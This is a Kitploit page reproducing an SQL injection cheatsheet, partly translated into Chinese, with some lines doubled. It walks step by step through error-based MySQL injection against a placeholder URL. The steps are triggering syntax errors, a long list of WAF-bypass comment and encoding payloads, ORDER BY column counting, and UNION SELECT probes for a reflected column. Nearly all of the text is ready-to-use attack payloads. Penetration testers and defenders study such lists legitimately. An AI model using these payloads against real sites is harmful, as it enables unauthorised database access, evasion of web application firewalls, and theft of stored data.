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Advanced-SQL-Injection-Cheatsheet — 包含各类 SQL 注入高级查询的速查表。 | Kitploit
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包含各类 SQL 注入高级查询的速查表。

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3.2k702233年前Kitploit 审核通过
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MySQL 基于错误的 SQL 注入速查表

这可能是 SQL 注入攻击中最容易利用的一类漏洞。攻击者可以利用 SQL 错误消息来枚举并转储 MySQL 数据库。

检测漏洞http://domain.com/index.php?id=1

Website loads successfully

http://domain.com/index.php?id=1'
错误信息显示为：You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near...``````http://domain.com/index.php?id=1\'
Error message shows up: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near...

http://domain.com/index.php?id=1 and 0' order by 1--+
网站加载成功http://domain.com/index.php?id=2-1
Website loads successfully

http://domain.com/index.php?id=-1'
错误信息再次出现http://domain.com/index.php?id=-1)'
Error message shows up again

http://domain.com/index.php?id=1'-- -
网站可能会成功加载，但也可能会显示错误。http://domain.com/index.php?id=1'--
Website might loads successfuly, but it might shows error also

http://domain.com/index.php?id=1+--+
网站可能会加载成功，但也可能会显示错误

绕过 WAF 检测漏洞（如果第一种方法不起作用）

在某些情况下，WAF 不会让你在网站上触发错误，因此可能需要发送特殊查询来绕过 WAF。http://domain.com/index.php?id=1'--/**/-
If no WAF Warning is shown and website loads up, we confirm the vulnerability, else try the following payloads.

http//domain.com/index.php?id=/^.*1'--+-.*$/
http//domain.com/index.php?id=/*!500001'--+-*/
http//domain.com/index.php?id=1'--/**/-
http//domain.com/index.php?id=1'--/*--*/-
http//domain.com/index.php?id=1'--/*&a=*/-
http//domain.com/index.php?id=1'--/*1337*/-
http//domain.com/index.php?id=1'--/**_**/-
http//domain.com/index.php?id=1'--%0A-
http//domain.com/index.php?id=1'--%0b-
http//domain.com/index.php?id=1'--%0d%0A-
http//domain.com/index.php?id=1'--%23%0A-
http//domain.com/index.php?id=1'--%23foo%0D%0A-
http//domain.com/index.php?id=1'--%23foo*%2F*bar%0D%0A-
http//domain.com/index.php?id=1'--#qa%0A#%0A-
http//domain.com/index.php?id=/*!20000%0d%0a1'--+-*/
http//domain.com/index.php?id=/*!blobblobblob%0d%0a1'--+-*/

Find the number of columns using 'ORDER BY' query

Now that we performed an SQL syntax error to the website, we can begin fuzzing and finding how many columns do we have by using ORDER BY

http://domain.com/index.php?id=1' order by 1-- -
此查询不应显示错误，因为没有比 1 更小的数字

  • 如果载荷显示错误，尝试设置一个负值：http://domain.com/index.php?id=-1' order by 1-- -
    This query musn't shows up error, since there is no lower number than 1

    • If the payload shows up error, try removing the quote which might cause SQL error: http://domain.com/index.php?id=605 order by 1-- -
      http://domain.com/index.php?id=-605 order by 1-- -
      These both queries musn't shows up error. If error is still ocurring, try the following payloads:

      • If both of payloads don't work, it is problably a WAF blocking it. Try the following blocks until you won't see WAF detection or SQL syntax error.
http://domain.com/index.php?id=1' order by 1 desc-- -  
http://domain.com/index.php?id=1' group by 1-- -  
http://domain.com/index.php?id=1' group by 1-- -  
http://domain.com/index.php?id=1' /**/ORDER/**/BY/**/ 1-- -  
http://domain.com/index.php?id=-1' /*!order*/+/*!by*/ 1-- -  
http://domain.com/index.php?id=1' /*!ORDER BY*/ 1-- -  
http://domain.com/index.php?id=1'/*!50000ORDER*//**//*!50000BY*/ 1-- -  
http://domain.com/index.php?id=1' /*!12345ORDER*/+/*!BY*/ 1-- -  
http://domain.com/index.php?id=1' /*!50000ORDER BY*/ 1-- -  
http://domain.com/index.php?id=1' order/**_**/by 1-- -  
http://domain.com/index.php?id=1\ order by 1-- -  
http://domain.com/index.php?id=1' order by 1 asc-- -  
http://domain.com/index.php?id=1' group by 1 asc-- -  
http://domain.com/index.php?id=1' AND 0 order by 1-- -  
http://domain.com/index.php?id=1%0Aorder%0Aby%0A1-- -  
http://domain.com/index.php?id=1%23%0Aorder%23%0Aby%23%0A1-- -  
http://domain.com/index.php?id=1%23aa%0Aorder%23aa%0Aby%23aa%0A1-- -  
http://domain.com/index.php?id=1%23xyz%0Aorder%23xyz%0Aby%23xyz%0A1-- -  
http://domain.com/index.php?id=1%23foo%0D%0Aorder%23foo%0D%0Aby%23foo%0D%0A1-- -  
http://domain.com/index.php?id=1%23foo*%2F*bar%0D%0Aorder%23foo*%2F*bar%0D%0Aby%23foo*%2F*bar%0D%0A1-- -  
http://domain.com/index.php?id=1/*!20000%0d%0a+order+by+*/1-- -  
http://domain.com/index.php?id=1/*!blobblobblob%0d%0a+order+by+*/1-- -  
http://domain.com/index.php?id=1/*!f****U%0d%0a+order+by+*/1-- -```

    
    - If none of the payloads didn't bypass WAF, try again the payloads by following the 2 rules below:
      - Add a minus (-) before 1 (example: ```?id=-1' /**/ORDER/**/BY/**/ 1-- -```)  
      - Remove the quote (') after the parameter value (example: ```?id=1 /**/ORDER/**/BY/**/ 1-- -```)

In this case, the payload ```?id=1 order by 1-- -``` worked and website loads successfuly. Now it is time to find the correct number of columns. Now let's use the payload that worked, and try increasing the number by 1, untill an error shows up: 

```http://domain.com/index.php?id=1 order by 1-- -``` no error  
```http://domain.com/index.php?id=1 order by 2-- -```  no error  
```http://domain.com/index.php?id=1 order by 3-- -```  no error  
```http://domain.com/index.php?id=1 order by 4-- -```  no error  
```http://domain.com/index.php?id=1 order by 5-- -```  error:   
```Unknown column '5' in 'order clause'Unknown column '5' in 'order clause'```  

This means there are only 4 columns. Now we have to find which one of these 4 columns have information.  

## Find the vulnerable column where information are stored using 'UNION SELECT' query  

Using a simple query, we determine which of the 4 columns reflect our input using. Only 1 of these payloads will run without **syntax error**. *NOTE: If none worked, try the same payloads, but remove the quote (') after number 1.*    

```http://domain.com/index.php?id=1' Union Select 1,2,3,4-- -```  
```http://domain.com/index.php?id=-1 Union Select 1,2,3,4-- -```  
```http://domain.com/index.php?id=-1' Union Select 1,2,3,4-- -```  
```http://domain.com/index.php?id=1'+UNION+ALL+SELECT+null,null,null,null--+-```  
```http://domain.com/index.php?id=1' Union Select null,2,3,4-- -```  
```http://domain.com/index.php?id=1' Union Select 1,null,3,4-- -```  
```http://domain.com/index.php?id=1' Union Select 1,2,null,4-- -```  
```http://domain.com/index.php?id=1' Union Select 1,2,3,null-- -```  
```http://domain.com/index.php?id=.1' Union Select 1,2,3,4-- -```  
```http://domain.com/index.php?id=-1' div 0' Union Select 1,2,3,4-- -```  
```http://domain.com/index.php?id=1' Union Select 1,2,3,4 desc-- -```  
```http://domain.com/index.php?id=1' AND 0 Union Select 1,2,3,4-- -```  

Website must successfully load and we will see a number (in our case between 1-4)  

![union_select_vuln_column](https://assets.kitploit.com/production/public/readmes/48038/e8504dde8dd18d24ef2a6b43ee9a21b4f5e7eca04eda6ef11834a0811e884956.png)
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